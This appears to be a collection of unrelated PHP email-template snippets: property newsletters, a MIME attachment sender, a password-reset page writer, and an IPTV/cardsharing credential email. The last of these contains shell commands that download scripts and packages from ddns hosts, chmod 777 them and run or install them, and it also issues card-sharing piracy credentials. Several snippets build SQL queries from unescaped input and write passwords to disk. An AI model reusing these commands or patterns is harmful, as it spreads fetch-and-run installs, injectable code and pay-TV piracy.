cellspacing=\"0\" role=\"presentation\" style=\"border-collapse:collapse;border-spacing:0px;\">\n <tbody>\n <tr>\n <td style=\"width:384px;\"><img alt=\"\" height=\"auto\" src=\"<?php /*Knoppys Elegant Variations Plugin*/ echo variations_email_logo(get_host()); ?>\" style=\"border:none;border-radius:0px;display:block;font-size:13px;outline:none;text-decoration:none;width:100%;height:auto;\" title=\"\" width=\"384\"></td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]--><!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:9px 0px 9px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:600px;\"> <![endif]-->\n <div class=\"mj-column-per-100 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:100%;\"> \n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <tr align=\"center\">\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <?php \n //The code for this function is located in the plugin Knoppys Elegant Variations\n echo variations_contact_details(get_host()); \n ?>\n </td>\n </tr>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]--><!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td>\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:14px 0px 14px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:600px;\"> <![endif]-->\n <div class=\"mj-column-per-100 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:100%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <div style=\"cursor:auto;color:#000000;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <p><?php echo $messagtext; ?></p>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table><!--[if mso | IE]> </td></tr></table> <![endif]-->\n\n\n<?php foreach ($properties as $property) { ?>\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:9px 0px 9px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:600px;\"> <![endif]-->\n <div class=\"mj-column-per-100 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:100%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <div style=\"cursor:auto;color:#000000;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <p><a href=\"<?php echo get_the_permalink($property[0]); ?>\" target=\"_blank\" style=\"color:#bc8536;\"><span style=\"color:#bc8536; font-size: 18px; line-height: 27px; font-weight: bold;margin-top:10px;\"><?php echo get_the_title($property[0]); ?></span></a></p>\n </div> \n <div style=\"cursor:auto;color:#bc8536;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <p><span style=\"color:#bc8536; font-size: 16px; line-height: 27px; font-weight: bold;margin-top:10px;\">Location: <?php echo location($property[0]); ?></span></p>\n </div> \n </td>\n </tr> \n <tr>\n <td align=\"center\" style=\"word-wrap:break-word;font-size:0px;padding:0px 0px 0px 0px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"border-collapse:collapse;border-spacing:0px;\">\n <tbody>\n <tr>\n <?php\n if (get_host() == 'elegant-address.com') {\n $imageurl = get_the_post_thumbnail_url($property[0],'medium');\n } else {\n $imageurl = knoppys_property_header($property[0],get_post_meta($property[0],'image_1', true)); \n }\n ?>\n <td style=\"width:600px;padding:10px;\"><img alt=\"\" width=\"100%\" height=\"auto\" src=\"<?php echo $imageurl; ?>\" style=\"border:none;border-radius:0px;display:block;font-size:13px;outline:none;text-decoration:none;width:100%;height:auto;\"></td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]--><!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:9px 0px 9px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:300px;\"> <![endif]-->\n <div class=\"mj-column-per-50 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:50%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <div style=\"cursor:auto;color:#000000;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <?php echo variations_email_ataglance(get_host(),$property[0]); ?>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td><td style=\"vertical-align:top;width:300px;\"> <![endif]-->\n <div class=\"mj-column-per-50 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:50%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <div style=\"cursor:auto;color:#000000;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <p>Property Type: <?php echo get_post_meta($property[0],'type_name', true); ?><br>\n Location: <?php echo location($property[0]); ?><br> \n <span style=\"font-weight:bold;\">Price: <?php echo $property[2]; ?></span></p> \n <?php echo variations_brochurelink(get_host(),$property[0]); ?> \n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]--><!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:9px 0px 9px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:600px;\"> <![endif]-->\n <div class=\"mj-column-per-100 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:100%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"word-wrap:break-word;font-size:0px;padding:0px 20px 0px 20px;\">\n <div style=\"cursor:auto;color:#000000;font-family:Arial,Helvetica, Arial, sans-serif;font-size:14px;line-height:22px;text-align:left;\">\n <p><?php echo nl2br(rawurldecode(stripslashes($property[1]))); ?></p>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n </td>\n </tr>\n </tbody>\n </table>\n </div><!--[if mso | IE]> </td></tr></table> <![endif]-->\n <?php } ?>\n\n </div>\n</body>\n</html>\n\n<?php $content = ob_get_clean();\nreturn $content;\n}", "function emailformat($message){\r\n\r\n $header = \"\r\n <table cellspacing='0' border='0' width='100%'>\r\n <tr>\r\n <td style='padding: 5px 20px 5px 20px;'>\r\n <img src='cid:logo' alt='Volunteezy' border='0'>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td style='padding: 20px 20px 30px 20px;'>\r\n \";\r\n \r\n $footer = \"\r\n </td>\r\n </tr>\r\n <tr>\r\n <td bgcolor='#A5D061' style='text-align:center; padding: 5px 20px 5px 20px;'>\r\n <p style='color: #FFFFFF; font-size: 11px; line-height: 15px; font-family: Georgia, Times, Times New Roman, Serif;'>\r\n Message sent from <a href='http://www.volunteezy.com' style='text-decoration:none; color: #ffffff;'>www.volunteezy.com</a>\r\n </p>\r\n </td>\r\n </tr> \r\n </table>\r\n \";\r\n \r\n $message = str_replace(\"<p>\", \"<p style='font-size: 12px; line-height: 16px; font-family: Calibri, Lucida Grande, Helvetica, Arial, sans-serif; color: #3F3F3F;'>\", $message);\r\n $message = str_replace(\"<a\", \"<a style='text-decoration: none; color: #0A71B3;'\", $message);\r\n $message = str_replace(\"<td\", \"<td style='font-size: 12px; line-height: 16px; font-family: Calibri, Lucida Grande, Helvetica, Arial, sans-serif; color: #3F3F3F; padding-right: 10px; padding-bottom: 5px;'\", $message);\r\n $message = str_replace(\"<h2>\", \"<h2 style='font-size: 20px; line-height: 18px; font-family: Georgia, Times, Times New Roman, Serif; font-weight: normal; margin-bottom: 14px; margin-top: 20px; color: #666666;'>\", $message); \r\n\r\n return $header.$message.$footer; \r\n \r\n \r\n}", "public function FindPw(){\n\t\t\n\t\t$html = fopen(\"../../../../../../FindPw.php\",\"w\") or die(\"unable to make email\");\n\n\t\t$contents = \n\t\t'<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1-strict.dtd\">\n\t\t<html lang=\"en\">\n\t\t<head>\n\t\t\t<meta charset=\"UTF-8\">\n\t\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n\t\t</head>\n\t\t<body>\n\t\t<table align=\"center\" width=\"620\" height=\"270\" bgcolor=\"#ffffff\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n\t\t<tbody>\n\t\t\t<tr id=\"mail_lubycon_logo\">\n\t\t\t\t<td>\n\t\t\t\t\t<img src=\"../../CH/img/resist_mail/mail_header.png\" class=\"mail_header\" >\n\t\t\t\t</td>\n\t\t\t</tr>\n \t<tr id=\"mail_hello\">\n \t<td align=\"left\" style=\"font-family:Arial, Helvetica, sans-serif; font-size: 40px; color:#444444;\">\n \t<br />\n \t &nbsp;Hello. <font size=\"40px\" color=\"#48cfad\">:)</font>\n <br />\n <br />\n </td>\n </tr>\n <tr id=\"mail_description\">\n \t<td align=\"left\" style=\"font-family:Arial, Helvetica, sans-serif; font-size: 15px; color:#444444; line-height:25px;\">\n \t\t\t&nbsp;&nbsp;&nbsp;\n Your temporary password has been sent to the registered email.<br /><br />\n\t\t\t\t\t&nbsp;&nbsp;&nbsp;\n\t\t\t\t\t<font size=\"4px\">\n\t\t\t\t\tHere your temporary password is : '.$this->token.'\n\t\t\t\t\t</font>\n\t\t\t\t\t<br /><br />\n\t\t\t\t\t&nbsp;&nbsp;&nbsp;\n\n\t\t\t\t\tIf this is not you, Please Contact.<br />\n &nbsp;&nbsp;&nbsp;\n <br />\n <br />\n \t</td>\n </tr>\n <tr>\n <td align=\"left\" style=\"font-family:Arial, Helvetica, sans-serif; font-size: 15px; color:#444444; line-height:20px;\">\n \t<br />\n &nbsp;&nbsp;&nbsp;\n \tIf you have any problems or questions, please send e-mail to \n <a id=\"mailadress\" href=\"mailto:[email protected]\" style=\"text-decoration:none;\">\n \t<font color=\"#48cfad\" size=\"+1\">[email protected]</font>\n </a>\n </td>\n </tr>\n </tbody>\n\t\t</table>\n\t\t</body>\n\t\t';\n\n\t\tfwrite($html, $contents);\n\t\tfclose($html);\n\t}", "function bulkmail() {\n\nprint <<<EOF\n<form method=\"post\" NAME=\"mainform\" enctype=\"multipart/form-data\">\n<center>\n<TABLE height=100><TBODY><TR><TD></TD></TR></TBODY></TABLE>\n<TABLE bgcolor=\"#4B9BE0\" cellSpacing=1 cellPadding=1 width=\"70%\" border=0>\n<TBODY>\n <tr bgcolor=\"#4B9BE0\"> \n<TD background=\"../images/headerbg.gif\" colSpan=2>\n<center><FONT color=#ffffff><B>G&#7917;i Mail cho th&#224;nh vi&#234;n</B></center></font></TD></TR>\n</TBODY></TABLE>\n\n<TABLE bgcolor=\"#6bAAef\" cellSpacing=1 cellPadding=2 width=\"70%\" border=0>\n<TBODY>\n\n<tr bgcolor=#F5F5F5>\n <td width=\"80\" ><font size=\"2\"><b>&nbsp;&nbsp;Ti&#234;u &#273;&#7873;:</b></font></td>\n <td> \n <input onkeyup=initTyper(this); name=\"tieude\" type=\"text\" id=\"news_tieude\" size=\"75\" ></td>\n</tr>\n\n\n<tr bgcolor=#F5F5F5>\n <td><font size=\"2\"><b>&nbsp;&nbsp;N&#7897;i dung:</b></font></td>\n\t<td> \n<textarea onkeyup=initTyper(this); name=\"noidung\" rows=\"17\" class=\"adminTextbox\" cols=\"75\"></textarea> \n\t</td>\n</tr>\n\n</TBODY></TABLE>\n<TABLE><TBODY><TR><TD></TD></TR></TBODY></TABLE>\n<TABLE align=\"center\" bgcolor=\"#4B9BE0\" cellSpacing=1 cellPadding=2 width=\"70%\" border=0>\n<TBODY>\n<tr bgcolor=#F5F5F5>\n <td><font size=\"2\"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></font></td><TD>\n<input class=butstyle style=\"FONT-WEIGHT: bold; CURSOR: hand; COLOR: #ffffff; BACKGROUND-COLOR: #4B9BE0\" name=\"submit\" type=\"submit\" id=\"submit\" value=\"Send Mail\"><br></td>\n </tr>\n\n</form>\n</TBODY></TABLE>\nEOF;\n\n}", "function Get()\r\n\t\t{\r\n\t\t$this->_build_headers();\r\n\t\tif( sizeof( $this->aattach ) > 0 )\r\n\t\t\t{\r\n\t\t\t$this->_build_attachement();\r\n\t\t\t$this->body= $this->body . $this->attachment;\r\n \t}\r\n\t\t$mail = $this->headers;\r\n\t\t$mail .= \"\\n$this->body\";\r\n\t\treturn $mail;\r\n\t\t}", "private static function mail()\n {\n $files = ['Mail', 'Mailable', 'SMTP'];\n $folder = static::$root.'Mailing'.'/';\n\n self::call($files, $folder);\n\n $files = ['SmtpParameterNotFoundException', 'MailViewNotFoundException'];\n $folder = $folder.'Exceptions/';\n\n self::call($files, $folder);\n }", "function sendMailAttachment($code, $replace, $attach_files)\n{\n\t$q_1 = mysql_query(\"SELECT default_email FROM system_configuration WHERE id='1'\");\n\t$row_1 = mysql_fetch_array($q_1);\n\n\t//Fetching Email Template According to User Selected Language \n\t$q_2=\"select subject, message from notifications where code='$code' and language='$replace[lang]'\"; \n\t$sql_2=mysql_query($q_2); \n\t$tot_rws=mysql_num_rows($sql_2);\n\n\tif($tot_rws==0)\n\t{\n\t\t$q_3=\"SELECT nt.subject, nt.message FROM notifications nt INNER JOIN languages lang ON lang.code=nt.language WHERE lang.default_lang='1' LIMIT 1\"; \n\t\t$sql_2 = mysql_query($q_3);\n\t}\n\t\n\t$row=mysql_fetch_array($sql_2);\n\t$to = $replace['email'];\n\t$subject = $row['subject'];\n\t$msg = $row['message'];\n\tforeach($replace as $k=>$v)\n\t{\n\t\t$subject = str_replace(\"$\".$k, $v, $subject);\n\t\t$msg = str_replace('$'.$k, $v, $msg);\n\t}\n\t\n\t//Creating Unique Number for Email Boundary\n\t$separator = md5(time());\n\n\t//PHP Line Breaker Constant\n\t$eol = PHP_EOL;\n\t\n\t// Set Email header\n\t$header = \"From: Cloudways <\".$row_1['default_email'].'>'.$eol;\n\t$header .= \"MIME-Version: 1.0\".$eol; \n\t$header .= \"Content-Type: multipart/mixed; boundary=\\\"\".$separator.\"\\\"\";\n\n\t//Set Message Body Header\n\t$body = \"--\".$separator.$eol;\n\t$body .= \"Content-Transfer-Encoding: 7bit\".$eol.$eol;\n\t\n\t//Set E-mail Message\n\t$body .= \"--\".$separator.$eol;\n\t$body .= \"Content-Type: text/html; charset=\\\"utf-8\\\"\".$eol;\n\t$body .= \"Content-Transfer-Encoding: 8bit\".$eol.$eol;\n\t$body .= $msg.$eol;\n\n\t//Add Attachmed Files\n\tforeach($attach_files as $k=>$v)\n\t{\n\t\t//File Name or Type Define Here\n\t\t$file_path = $v['file_path'];\n\t\t$file_name = $v['file_name'];\n\t\t\n\t\t//Get Attach File Data\n\t\t$file_data = file_get_contents($file_path.$file_name); \n\t\t$file_data = chunk_split(base64_encode($file_data)); \n\t\t\n\t\t//Set Attachment in Html\n\t\t$body .= \"--\".$separator.$eol;\n\t\t$body .= \"Content-Type:application/octet-stream; name=\\\"\".$file_name.\"\\\"\".$eol; \n\t\t$body .= \"Content-Transfer-Encoding: base64\".$eol;\n\t\t$body .= \"Content-Disposition: attachment\".$eol.$eol;\n\t\t$body .= $file_data.$eol;\n\t}\n\t$body .= \"--\".$separator.\"--\";\n\n\t//adding email log\n\t$q\t= \"INSERT INTO email_log SET email='$to', sent_on=NOW(), subject='$subject', content='\".mysql_escape_string($msg).\"'\";\n\t$sql\t= @mysql_query($q);\n\t\n\t//Sending E-mail\n\t//echo $to.'<br />'.$subject.'<br />'.$body.'<br />'.$headers.'<br />'.'-f '.$rw['admin_default_email'].'<br /><br />';\n\tmail($to, $subject, $body, $header);\n}", "function emailTemplate($username, $password, $idcode ,$expiredate ,$package, $typePackage, $note,$isMagDevice)\n{\n\n if ($typePackage == \"IPTV\") {\n if ($isMagDevice == \"1\") {\n $corpo_credenziali = '<b>Link Portal:</b> ';\n $corpo_credenziali .= \"http://satopen-iptv.ddns.net:8000/c/\";\n $corpo_credenziali .= '<br><br><b>Package:</b> ';\n $corpo_credenziali .= \"IPTV $package\";\n $corpo_credenziali .= '<br><b>Expire Date:</b> ';\n $corpo_credenziali .= \"$expiredate (Year/Month/Day)\";\n $corpo_credenziali .= '<br><b>Payment Id-Code:</b> ';\n $corpo_credenziali .= \"$idcode\";\n $corpo_credenziali .= '<br><b>Note:</b> ';\n $corpo_credenziali .= \"$note\";\n $corpo_credenziali .= '<br><br><b>Iptv Note:</b> ';\n $corpo_credenziali .= '<br>Usage Google DNS on your device or router: 8.8.8.8 (Primary) 8.8.4.4 (Secondary)<br>Download and Install Our Enigma 2 Plugin http://satopen-panel.ddns.net/Download/IptvGate_World.ipk<br>Automatic Update Of Channel List, Personalizate Bouquet Channel, Play & Pause, Forward & Rewind, Search VOD, Account Info and many more<br>';\n \n }\n else {\n $corpo_credenziali = '<b>Username:</b> ';\n $corpo_credenziali .= \"$username\";\n $corpo_credenziali .= '<br><b>Password:</b> ';\n $corpo_credenziali .= \"$password\";\n $corpo_credenziali .= '<br><br><b>Your IPTV Account Data - AutoScript Enigma2:</b> ';\n $corpo_credenziali .= \"wget -O /etc/enigma2/iptv.sh \\\"http://satopen-iptv.ddns.net:8000/get.php?username=$username&password=$password&type=enigma22_script&output=mpegts\\\" && chmod 777 /etc/enigma2/iptv.sh && /etc/enigma2/iptv.sh\";\n $corpo_credenziali .= '<br><br><b>Your IPTV Account Data - Link VLC/Android/IOS/Smart-Tv Player:</b> ';\n $corpo_credenziali .= \"http://satopen-iptv.ddns.net:8000/get.php?username=$username&password=$password&type=m3u_plus&output=mpegts\";\n $corpo_credenziali .= '<br><br><b>Plugin WorldTeam 2.0:</b> ';\n $corpo_credenziali .= \"wget -q -O /tmp/IptvGate_World.ipk http://app-world.dyndns.tv/addons/plugin/tar/IptvGate_World.ipk; chmod 777 /tmp/IptvGate_World.ipk; opkg install /tmp/IptvGate_World.ipk; sleep 5; killall -9 enigma2\";\n $corpo_credenziali .= '<br><b>After open the Plugina and insert your Username and Password</b>';\n $corpo_credenziali .= '<br><br><b>Package:</b> ';\n $corpo_credenziali .= \"IPTV $package\";\n $corpo_credenziali .= '<br><b>Expire Date:</b> ';\n $corpo_credenziali .= \"$expiredate (Year/Month/Day)\";\n $corpo_credenziali .= '<br><b>Payment Id-Code:</b> ';\n $corpo_credenziali .= \"$idcode\";\n $corpo_credenziali .= '<br><b>Note:</b> ';\n $corpo_credenziali .= \"$note\";\n $corpo_credenziali .= '<br><br><b>Iptv Note:</b> ';\n $corpo_credenziali .= '<br>Usage Google DNS on your device or router: 8.8.8.8 (Primary) 8.8.4.4 (Secondary)<br>Download and Install Our Enigma 2 Plugin http://satopen-panel.ddns.net/Download/IptvGate_World.ipk<br>Automatic Update Of Channel List, Personalizate Bouquet Channel, Play & Pause, Forward & Rewind, Search VOD, Account Info and many more<br>';\n } \n }\n else {\n $corpo_credenziali = '<b>Username:</b> ';\n $corpo_credenziali .= \"$username\";\n $corpo_credenziali .= '<br><b>Password:</b> ';\n $corpo_credenziali .= \"$password\";\n $corpo_credenziali .= '<br><br><b>Your CardSharing Account Data - CLine:</b><br>';\n $corpo_credenziali .= \"C: satopen-client.ddns.net 23000 $username $password\";\n $corpo_credenziali .= '<br><br><b>Package:</b> ';\n $corpo_credenziali .= \"Cardsharing $package\";\n $corpo_credenziali .= '<br><b>Expire Date:</b> ';\n $corpo_credenziali .= \"$expiredate (Year/Month/Day)\";\n $corpo_credenziali .= '<br><b>Payment Id-Code:</b> ';\n $corpo_credenziali .= \"$idcode\";\n $corpo_credenziali .= '<br><b>Note:</b> ';\n $corpo_credenziali .= \"$note\";\n $corpo_credenziali .= '<br><br><b>CardSharing Note:</b> ';\n $corpo_credenziali .= '<br>Usage Google DNS on your device or router: 8.8.8.8 (Primary) 8.8.4.4 (Secondary)<br>Download and Install Our CCcam.prio in your decoder for fast zapping and zero freeze<br>http://www.satopen.cc/setup-cccam.html<br>';\n\n }\n\n \n \n $GLOBALS['head_email'] = '<html xmlns=\"http://www.w3.org/1999/xhtml\"> <head>\n\t\t\t\t <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t\t\t <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n\t\t\t\t <title>SatOpen Email</title>\n\t\t\t\t <style type=\"text/css\"> \n\t\t\t\t img {\n\t\t\t\t max-width: 600px;\n\t\t\t\t outline: none;\n\t\t\t\t text-decoration: none;\n\t\t\t\t -ms-interpolation-mode: bicubic;\n\t\t\t\t }\n\n\t\t\t\t a {\n\t\t\t\t border: 0;\n\t\t\t\t outline: none;\n\t\t\t\t }\n\n\t\t\t\t a img {\n\t\t\t\t border: none;\n\t\t\t\t }\n\n\t\t\t\t /* General styling */\n\n\t\t\t\t td, h1, h2, h3 {\n\t\t\t\t font-family: Helvetica, Arial, sans-serif;\n\t\t\t\t font-weight: 400;\n\t\t\t\t }\n\n\t\t\t\t td {\n\t\t\t\t font-size: 13px;\n\t\t\t\t line-height: 19px;\n\t\t\t\t text-align: left;\n\t\t\t\t }\n\n\t\t\t\t body {\n\t\t\t\t -webkit-font-smoothing:antialiased;\n\t\t\t\t -webkit-text-size-adjust:none;\n\t\t\t\t width: 100%;\n\t\t\t\t height: 100%;\n\t\t\t\t color: #37302d;\n\t\t\t\t background: #ffffff;\n\t\t\t\t }\n\n\t\t\t\t table {\n\t\t\t\t border-collapse: collapse !important;\n\t\t\t\t }\n\n\n\t\t\t\t h1, h2, h3, h4 {\n\t\t\t\t padding: 0;\n\t\t\t\t margin: 0;\n\t\t\t\t color: #444444;\n\t\t\t\t font-weight: 400;\n\t\t\t\t line-height: 110%;\n\t\t\t\t }\n\n\t\t\t\t h1 {\n\t\t\t\t font-size: 35px;\n\t\t\t\t }\n\n\t\t\t\t h2 {\n\t\t\t\t font-size: 30px;\n\t\t\t\t }\n\n\t\t\t\t h3 {\n\t\t\t\t font-size: 24px;\n\t\t\t\t }\n\n\t\t\t\t h4 {\n\t\t\t\t font-size: 18px;\n\t\t\t\t font-weight: normal;\n\t\t\t\t }\n\n\t\t\t\t .important-font {\n\t\t\t\t color: #21BEB4;\n\t\t\t\t font-weight: bold;\n\t\t\t\t }\n\n\t\t\t\t .hide {\n\t\t\t\t display: none !important;\n\t\t\t\t }\n\n\t\t\t\t .force-full-width {\n\t\t\t\t width: 100% !important;\n\t\t\t\t }\n\n\t\t\t\t </style>\n\n\t\t\t\t <style type=\"text/css\" media=\"screen\">\n\t\t\t\t @media screen {\n\t\t\t\t\t@import url(http://fonts.googleapis.com/css?family=Open+Sans:400);\n\n\t\t\t\t\t/* Thanks Outlook 2013! */\n\t\t\t\t\ttd, h1, h2, h3 {\n\t\t\t\t\t font-family: Open Sans, Helvetica Neue, Arial, sans-serif !important;\n\t\t\t\t\t}\n\t\t\t\t }\n\t\t\t\t </style>\n\n\t\t\t\t <style type=\"text/css\" media=\"only screen and (max-width: 600px)\">\n\t\t\t\t /* Mobile styles */\n\t\t\t\t @media only screen and (max-width: 600px) {\n\n\t\t\t\t table[class=\"w320\"] {\n\t\t\t\t\twidth: 320px !important;\n\t\t\t\t }\n\n\t\t\t\t table[class=\"w300\"] {\n\t\t\t\t\twidth: 300px !important;\n\t\t\t\t }\n\n\t\t\t\t table[class=\"w290\"] {\n\t\t\t\t\twidth: 290px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class=\"w320\"] {\n\t\t\t\t\twidth: 320px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class~=\"mobile-padding\"] {\n\t\t\t\t\tpadding-left: 14px !important;\n\t\t\t\t\tpadding-right: 14px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-padding-left\"] {\n\t\t\t\t\tpadding-left: 14px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-padding-right\"] {\n\t\t\t\t\tpadding-right: 14px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-padding-left-only\"] {\n\t\t\t\t\tpadding-left: 14px !important;\n\t\t\t\t\tpadding-right: 0 !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-padding-right-only\"] {\n\t\t\t\t\tpadding-right: 14px !important;\n\t\t\t\t\tpadding-left: 0 !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-block\"] {\n\t\t\t\t\tdisplay: block !important;\n\t\t\t\t\twidth: 100% !important;\n\t\t\t\t\ttext-align: left !important;\n\t\t\t\t\tpadding-left: 0 !important;\n\t\t\t\t\tpadding-right: 0 !important;\n\t\t\t\t\tpadding-bottom: 15px !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-no-padding-bottom\"] {\n\t\t\t\t\tpadding-bottom: 0 !important;\n\t\t\t\t }\n\n\t\t\t\t td[class~=\"mobile-center\"] {\n\t\t\t\t\ttext-align: center !important;\n\t\t\t\t }\n\n\t\t\t\t table[class*=\"mobile-center-block\"] {\n\t\t\t\t\tfloat: none !important;\n\t\t\t\t\tmargin: 0 